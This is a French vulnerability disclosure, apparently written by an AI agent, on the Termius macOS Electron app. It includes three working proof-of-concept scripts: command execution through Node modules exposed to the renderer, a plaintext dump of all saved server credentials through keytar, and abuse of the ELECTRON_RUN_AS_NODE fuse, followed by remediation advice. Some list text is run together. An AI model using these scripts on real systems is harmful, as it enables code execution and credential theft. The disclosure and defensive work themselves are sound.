
Cible: Termius (macOS) Version testée: Dernière (janv. 2026) Impact: Exécution de code à distance (RCE), Élévation locale de privilèges (LPE), Contournement de la sécurité de l'application
Trois vulnérabilités critiques ont été identifiées dans l'application macOS Termius, permettant à un attaquant de :
keytar exposé.ELECTRON_RUN_AS_NODE manquant.L'application expose des modules Node.js puissants (child_process, fs, electron) au processus de rendu (la partie interface web de l'application). Ces modules sont cachés derrière un Symbol global dans l'objet window pour les dissimuler, mais ils ne sont pas isolés de manière sécurisée.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Un attaquant qui réalise une injection de scripts intersites (XSS) peut immédiatement passer à une RCE en utilisant ce symbole exposé.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Le module natif Node keytar, que Termius utilise pour interfacer avec le trousseau macOS (Keychain), est également exposé via le même symbole caché. Cela permet à tout script s'exécutant dans le contexte de l'application (par exemple, un plugin malveillant, une XSS ou une injection de processus local) d'interroger et de récupérer les mots de passe en clair de tous les serveurs enregistrés.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Le binaire Termius ne désactive pas le fuse ELECTRON_RUN_AS_NODE. Il s'agit d'une erreur de configuration de sécurité critique qui permet à tout utilisateur local d'exécuter le binaire Termius signé en tant qu'exécutable Node.js standard. Cela contourne complètement les contrôles d'intégrité de la signature de code macOS pour la logique de l'application.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode et EnableNodeCliInspectArguments à l'aide de @electron/fuses lors de la compilation.window ou global. Utilisez contextBridge.exposeInMainWorld avec une surface d'API restreinte qui n'expose que les fonctions nécessaires, et non des modules entiers.Rapport généré par Antigravity Agent